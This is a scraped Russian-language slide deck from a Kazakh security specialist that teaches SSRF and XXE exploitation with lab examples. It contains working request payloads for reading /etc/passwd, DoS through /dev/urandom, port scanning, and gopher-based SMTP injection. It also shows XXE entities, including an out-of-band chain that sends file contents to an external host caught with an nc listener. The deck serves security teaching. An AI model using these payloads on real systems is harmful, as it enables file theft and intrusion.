Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                
SlideShare a Scribd company logo
Находим и эксплуатируем уязвимости. Теория и практические примеры уязвимых ресурсов в Казнете. (Батыр b4tr)
Server Side Request Forgery
(SSRF)
Батыржан - bit1
Специалист «ЦАРКА»
Атакующий Уязвимый сервер
LANИнтернет

Чтение файлов
(file:///etc/passwd)

DOS
(file:///dev/urandom)

Сканирование портов и хостов
(http://host:port)

Wrappers
(php,dict,gopher, etc...)
Чтение файлов
GET /test/ssrf/?url=file:///etc/passwd HTTP/1.1
Host: 192.168.2.112
User-Agent: Mozilla/5.0
Accept: text/html
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.2.112/test/ssrf/
Connection: close
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
Запрос Ответ
Атакующий Уязвимый сервер
DOS
GET /test/ssrf/?url=file:///dev/urandom HTTP/1.1
Host: 192.168.2.112
User-Agent: Mozilla/5.0
Accept: text/html
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.2.112/test/ssrf/
Connection: close
5 U e* ' "3 )p t % AnJ}��� � ��� � � � � ���
�{ $ ] 9 KV 37=@8 !��� � � � ����� � �Ӊ
Ђ k %&U , |1/ I� ��� ������ �� �� ��
8 d l юF cR@ g|{ s<q DO� � � �� ��� � � ��
I g D; H O 8 q^(V��� � ��� ՒѦ��ʸ� � ��
�6 m V V E p���� � � �� ���� �6
��� dg>UP9 8�� � b  Y� ��  UTRc� ��
��:( Рt >H9] $<yD nx� �������� � � �
I g D; H O 8 q^(V��� � ��� ՒѦ��ʸ� � ��
Запрос Ответ
Атакующий Уязвимый сервер
Сканирование портов
GET /test/ssrf/?url=http://defcon.kz:22 HTTP/1.1
Host: 192.168.2.112
User-Agent: Mozilla/5.0
Accept: text/html
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.2.112/test/ssrf/
Connection: close
HTTP/1.1 200 OK
Date: Sun, 23 Oct 2016 04:49:58 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5
Content-Length: 143
Connection: close
Content-Type: text/html
SSH-2.0-OpenSSH_5.3
Запрос Ответ
Атакующий Уязвимый сервер
Сканирование портов
GET /test/ssrf/?url=http://defcon.kz:11 HTTP/1.1
Host: 192.168.2.112
User-Agent: Mozilla/5.0
Accept: text/html
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.2.112/test/ssrf/
Connection: close
HTTP/1.1 502
Date: Sun, 23 Oct 2016 04:49:58 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5
Content-Length: 12
Connection: close
Content-Type: text/html
Bad Gateway
Запрос Ответ
Атакующий Уязвимый сервер
Атакующий
Уязвимый сервер
defcon.kz
http://defcon.kz:22
Атакующий
Уязвимый сервер
defcon.kz
http://defcon.kz:22
http://defcon.kz:22
Атакующий
Уязвимый сервер
defcon.kz
http://defcon.kz:22
http://defcon.kz:22
200 OK
SSH-2.0-OpenSSH_5.3
Атакующий
Уязвимый сервер
defcon.kz
http://defcon.kz:22
http://defcon.kz:22
200 OK
SSH-2.0-OpenSSH_5.3
200 OK
SSH-2.0-OpenSSH_5.3
Wrapper's
file:// — Accessing local filesystem
glob:// — Find pathnames matching pattern
http:// — Accessing HTTP(s) URLs
phar:// — PHP Archive
ftp:// — Accessing FTP(s) URLs
ssh2:// — Secure Shell 2
php:// — Accessing various I/O streams
rar:// — RAR
zlib:// — Compression Streams
ogg:// — Audio streams
Wrapper's
file:// — Accessing local filesystem
glob:// — Find pathnames matching pattern
http:// — Accessing HTTP(s) URLs
phar:// — PHP Archive
ftp:// — Accessing FTP(s) URLs
ssh2:// — Secure Shell 2
php:// — Accessing various I/O streams
rar:// — RAR
zlib:// — Compression Streams
ogg:// — Audio streams
GET /test/ssrf/?url=ftp://user:password@defcon.kz HTTP/1.1
Host: 192.168.2.112
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.2.112/test/ssrf/
Connection: close
BruteForce
URL-Encode
gopher://defcon.kz:25/_%0d%0aHELO%20defcon.kz%0d%0aMAIL%20FROM%3A
%20%3Cadmin@defcon.kz%3E%0d%0aRCPT%20TO%3A%20%3Cadmin@egov.kz%3E%0d
%0aDATA%0d%0aHello!%0d%0a.
gopher://defcon.kz:25/_
HELO defcon.kz
MAIL FROM: <admin@defcon.kz>
RCPT TO: <admin@egov.kz>
DATA
Hello!
.
XML External Entity (XXE)
xmlВывод в
Out-of-band
Error-based
Blind
Простой запрос
<reset>
<login>bee</login>
<secret>Any bugs?</secret>
</reset>
bee's secret has been reset!
Запрос Ответ
Атакующий Уязвимый сервер
Чтение файлов
<!DOCTYPE reset
[<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<reset>
<login>&xxe;</login>
<secret>Any bugs?</secret>
</reset>
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
Запрос Ответ
Атакующий Уязвимый сервер
Чтение файлов
<!DOCTYPE reset
[<!ENTITY xxe SYSTEM "php://filter/convert.
base64-encode/resource=/var/www//index.php">
]>
<reset>
<login>&xxe;</login>
<secret>Any bugs?</secret>
</reset>
PD9waHANCg0KLyoNCg0KYldBUFAsIG9yIGEg
YnVnZ3kgd2ViIGFwcGxpY2F0aW9uLCBpcyBhI
GZyZWUgYW5kIG9wZW4gc291cmNlIGRlbGliZ
XJhdGVseSBpbnNlY3VyZSB3ZWIgYXBwbGljY
XRpb24uDQpJdCBoZWxwcyBzZWN1cml0eSB
LbnRodXNpYXN0cywgZGV2ZWxvcGVycyBhbm
Qgc3R1ZGVudHMgdG8gZGlzY292ZXIgYW5kIH
RvIHByZXZlbnQgd2ViIHZ1bG5lcmFiaWxpdGllcy
4NCmJXQVBQIGNvdmVycyBhbGwgbWFqb3Iga
Запрос Ответ
Атакующий Уязвимый сервер
Out-of-Band
<!DOCTYPE reset [<!ENTITY % remote SYSTEM
http://defcon.kz/xxe.txt">
% remote; % intern; % trick; ]>
<reset>
<login>bee</login>
<secret>Any bugs?</secret>
</reset>
defcon.kz/xxe.txt
<!ENTITY % payl SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % intern "<!ENTITY &#37; trick SYSTEM 'http://defcon.kz:81/result?%payl;'>">
sudo nc -lvvp 81
listening on [any] 81 ...
connect to [defcon.kz] from ****** [88888] 39300
Cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYm
FzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Iv
C2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eD
OyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW
4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpb
Запрос Ответ
Атакующий Уязвимый сервер
Запрос Ответ
Error-based
<!DOCTYPE reset [<!ENTITY % remote SYSTEM
http://defcon.kz/xxe.txt">
% remote; % intern; % trick; ]>
<reset>
<login>bee</login>
<secret>Any bugs?</secret>
</reset>
Invalid URI: httpCm9vdDp4OjA6MDpyb290Oi9yb
290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZG
FlbW9uOi91c3IvC2JpbjovdXNyL3NiaW4vbm9sb
2dpbgpiaW46eDOyOjI6YmluOi9iaW46L3Vzci9zY
MluL25vbG9naW4Kc3lzOng6MzozOnN5czovZG
V2Oi91c3Ivc2Jpb://defcon.kz:81/ in Entity, line
3 in /var/www/html/xxe/xxe2.php
Атакующий Уязвимый сервер
defcon.kz/xxe.txt
<!ENTITY % payl SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % intern "<!ENTITY &#37; trick SYSTEM 'http%payl;://defcon.kz:81/result?%payl;'>">
Wrapper's
<?php print_r (curl_version()); ?>
ssrf bible
http://l.goodbits.io/l/8fb7igt4

More Related Content

Находим и эксплуатируем уязвимости. Теория и практические примеры уязвимых ресурсов в Казнете. (Батыр b4tr)